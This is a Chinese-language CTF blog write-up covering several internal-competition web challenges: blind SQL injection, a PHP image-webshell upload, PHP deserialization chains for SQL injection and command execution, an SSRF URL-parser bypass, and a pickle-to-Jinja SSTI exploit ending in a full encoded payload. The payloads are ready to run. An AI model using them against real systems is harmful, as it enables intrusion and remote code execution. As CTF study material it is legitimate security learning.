ctf笔记(十二)——记某次内部赛

VD内部赛 easysql

尝试寻找注入点,我试了一下如下payload,并记录回显信息

?id=1  # Success
?id=-1 # Try other
?id=1' # 无回显
?id=1" # 无回显

可以猜测这道题是有回显的。成功执行并查到记录回显Success,成功执行找不到记录回显Try other,执行失败,也就是报错的话回显空白。

因为回显不会暴露报错信息,因此只能尝试去猜测语句,因为加引号会导致报错,而不是找不到记录,因此猜测引号并没有被过滤而是成功注入了,尝试万能密码

?id=-1' or '1
?id=-1" or "1

发现还是执行报错,又考虑到id跟的是整数,可以不加引号,故尝试了如下payload

?id=1+1
?id='1'

发现回显Success,因此可以得知sql大概是这样的

select * from xxx where id=$_GET[id]

于是很简单地就能构造基于报错的盲注语句了

?id=-1 or (select database();)='ctf'
?id=-1 or ascii(mid((select database()),1,1))>=ascii('c')

这题就是常规的盲注,没啥坑

VD内部赛 easyupload

传一个php图片马上去就行,burpsuite改http报文,将文件名的后缀改成php即可

VD内部赛 warmup

附件部分代码:

 <?php
 class SQL {
    public $table;
    public $username;
    public $password;
    public $conn;
    #...
    public function check_login(){
        $result = $this->query();
        #...
    }
    public function waf(){
        $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
        # ...
    }
    public function query() {
        $this->waf();
        return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
    }
    public function __wakeup(){

        if($this->table){
            $this->waf();
        }
        $this->check_login();
        $this->conn->close();
    }
#...
    $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
    try {
        if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
            die('WAF info: your ip status has been changed, you are dangrous.');
#...

if(isset($_POST['username']) && isset($_POST['password'])){
    $table = 'users';
    $username = addslashes($_POST['username']);
    $password = addslashes($_POST['password']);
    #...
}

提供了附件,审计一下代码,发现用输入框登录时想sql注入是不可能的,addslashes加上对\的过滤破灭了输入的可能。

但是使用cookie登陆的时候并没有addslashes这一步,加上过滤只过滤了几个符号,sql的关键字几乎都没有过滤,关键是单引号也没有被过滤,因此这里就可以轻松的sql注入了。

代码尽管对cookie进行了检查,但是检查是在反序列化之后,因此没有任何意义。

使用如下脚本伪造的cookie就可以拿到flag了

<?php
 class SQL {
    public $table = 'users';
    public $username = 'admin';
    public $password = "' like 0 or '0";
    public $conn;
 }
echo base64_encode(serialize(new SQL()));

VD内部赛 YAY

第一层

一上来还是php代码审计

<?php
include 'conn.php';
if(isset($_GET["query"])){
    $query = $_GET["query"];
    if(!is_string($query)){
        die('give me a string ok?');
    }
    if(preg_match('/log|local|set|file/i', $query)){
        die('no hack');
    }
    $result = $mysqli->query($query);
    if ($result === false) {
        die("database error, please check your input");
    }
    $row = $result->fetch_assoc();
    if($row === NULL){
        die("searched nothing");
    }
    if(in_array($query, $row)){
        echo $secret;
    }
    $result->free();
    $mysqli->close();
}else{
    highlight_file('index.php');
}

?>

就是要我们执行一个sql语句,这个语句查出来的数据集里要有一个数据是我们执行的sql语句。

常规思路

MySQL中有个表就是用于记录当前正在执行的语句的,只要select那个表就好了

sql语句

select info from information_schema.`PROCESSLIST`

payload

/?query=select%20info%20from%20information_schema.`PROCESSLIST`
Qunie

受hackergame 2020 python复读机那道题的影响害我一直在构造能够输出自身的sql语句,搞了好久也没成功,通过Google找到了一个 大佬写的

sql语句

SELECT REPLACE(@v:='SELECT REPLACE(@v:=\'2\',1+1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'));',1+1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\''));

payload

/?query=SELECT%20REPLACE(%40v%3A%3D%27SELECT%20REPLACE(%40v%3A%3D%5C%272%5C%27%2C1%2B1%2CREPLACE(REPLACE(%40v%2C%5C%27%5C%5C%5C%5C%5C%27%2C%5C%27%5C%5C%5C%5C%5C%5C%5C%5C%5C%27)%2C%5C%27%5C%5C%5C%27%5C%27%2C%5C%27%5C%5C%5C%5C%5C%5C%5C%27%5C%27))%3B%27%2C1%2B1%2CREPLACE(REPLACE(%40v%2C%27%5C%5C%27%2C%27%5C%5C%5C%5C%27)%2C%27%5C%27%27%2C%27%5C%5C%5C%27%27))%3B

第二层

拿到了gO0d_j0b_f0r_you2333333.zip

看到gO0d_j0b_f0r_you2333333.php如下

<?php
include 'config.php';
include 'function.php';

if(!isset($_COOKIE['user'])){
    setcookie("user", serialize('ctfer'), time()+3600);
}else{
    echo "hello";
    echo unserialize($_COOKIE['user']);
}

是用cookie的php反序列化啊。。。

看到function.php里

function __autoload($classname){
    require "./$classname.php";
}

定义了这个的话,在反序列化的时候如果遇到没有的类对象,就会根据这个函数自己动require了

但是我们要用的test类在admin_test_class.php里,按照这个 __autoload的定义,反序列化test类对象require的是test.php而不是admin_test_class.php会导致找不到文件而报错的:PHP Fatal error: require(): Failed opening required './test.php'

怎么办?

查阅php关于unserialize的帮助,可以看到如下提示

Noteunserialize_callback_func 指令

如果在解序列化的时候需要实例化一个未定义类,则可以设置回调函数以供调用(以免得到的是不完整的 object “__PHP_Incomplete_Class”)。可通过 php.ini、ini_set() 或 .htaccess 定义‘unserialize_callback_func’。每次实例化一个未定义类时它都会被调用。若要禁止这个特性,只需置空此设定。

原来就算被反序列化的类不存在,反序列化也是不会报错的,php会得到一个不完整的对象__PHP_Incomplete_Class.

因此在本题中,我们可以先反序列化一个名为admin_test_class的未定义类对象,触发__autoload函数require admin_test_class.php,然后就可以反序列test类对象了。

php的反序列化在反序列化数组时是从左至右顺序执行的,因此只需要将构造一个二元数组,admin_test_class类对象为第一个元素,test类对象为第二个元素。php在反序列该二元数组数组时就会先requireadmin_test_class.php然后构造test类对象进行rce了

payload生成脚本

<?php
include 'function.php';
include 'admin_test_class.php';

$b=new admin_test_class();
$a=new test();
$a->cmd="cat flag.txt";
echo serialize([$b,$a]);

VD内部赛 funpy

第一层 绕过对域名的限制

    if url.startswith('http://'):
        url = url[7:]
        if not url.find("/") == -1:
            domain = url[url.find("@")+1:url.index("/",url.find("@"))]
        else:
            domain = url[url.find("@")+1:]
        return domain
    else:
        return False

一般绕过域名常用的就是@#,这里也不例外

而且这个代码可以说问题很大,比如url="http://www.baidu.com/@"的时候直接报了个ValueError: substring not found的错误,服务器瞬间500了。。。

问题主要出在domain = url[url.find("@")+1:url.index("/",url.find("@))]这句话上,他截取从第一次出现@的地方开始到下一个"/"中间的内容作为域名的,本意是想截取@后面的真实域名,但是却被如下的poc钻了空子

http://127.0.0.1:8080/admin#@www.baidu.com/

payload

/get_baidu?url=http%3A%2F%2F127.0.0.1%3A8000%2Fadmin%23%40www.baidu.com%2F

第二层 pickle反序列化+SSTI

poc

import pickle
import base64
from urllib import parse
print("/get_baidu?url="+parse.quote(f'http://127.0.0.1:8000/admin?data={base64.b64encode(pickle.dumps("admin")).decode()}#@www.baidu.com/'))

但是我们发现虽然我们被称呼为admin了,但是我们还是什么都干不了,这个时候仔细观察代码发现

if b'R' in name:
    return "no __reduce__"

这个之前遇到过,是为了防止使用pickle反序列化进行RCE而过滤__reduce__的代码,详见CTF笔记(二)——XCTF高校战“疫”【未完】webtmp一题

在webtmp一题中因为被过滤__reduce__,pickle反序列化不能直接RCE而是通过变量覆盖间接进行RCE,因此考虑这里也是同样的思路。

然后注意到代码中

if name == "admin":
    t = Template("Hello " + name)
else:
    t = Template("Hello " + ctf_config.name)
return t.render()

这里是典型的ssti啊,直接字符串拼接,如果我们能控制name护着ctf_config.name,令其值为"{{ 1+1 }}"这样的内容的话,就能RCE了

name的值虽然可以通过pickle反序列化轻松改变,但是如果其值不是admin,就不会进入使用admin渲染页面的分支,也即是说name的值其实被定死为admin了,所以只能改变ctf_config.name

P.S. 其实我没想这么多,因为webtmp中也是改变导入得到module中的变量值,这里自然也是一样啦

参考webtmp一题,构造反序列化字符串

b"c__main__\nctf_config\n}S'name'\nS'{{1+1}}'\nsb."

ssti的话用我常用的payload就行

{{().__class__.__bases__[0].__subclasses__()[78].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag")').read()}}

不过这里78要改成67,因为题目服务器中<class '_frozen_importlib._installed_safely'>().__class__.__bases__[0]._subclasses__()中的第68个,如下图所示

将ssti的payload写进反序列字符串的时候要注意转义符的问题:

b"c__main__\nctf_config\n}S'name'\nS'{{ \"\".__class__.__bases__[0].__subclasses__()[67].__init__.__globals__[\"__builtins__\"][\"eval\"](\"__import__(\\\\\"os\\\\\").popen(\\\\\"cat flag.txt\\\\\").read()\") }}'\nsb."

最终的payload

/get_baidu?url=http%3A%2F%2F127.0.0.1:8000%2Fadmin%3Fdata%3DY19fbWFpbl9fCmN0Zl9jb25maWcKfVMnbmFtZScKUyd7eyAiIi5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNjddLl9faW5pdF9fLl9fZ2xvYmFsc19fWyJfX2J1aWx0aW5zX18iXVsiZXZhbCJdKCJfX2ltcG9ydF9fKFxcIm9zXFwiKS5wb3BlbihcXCJjYXQgZmxhZy50eHRcXCIpLnJlYWQoKSIpIH19JwpzYi4=%23%40www.baidu.com%2F&submit=%E6%8F%90%E4%BA%A4
标签:, , ,

不说点什么喵?

15 + 1 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据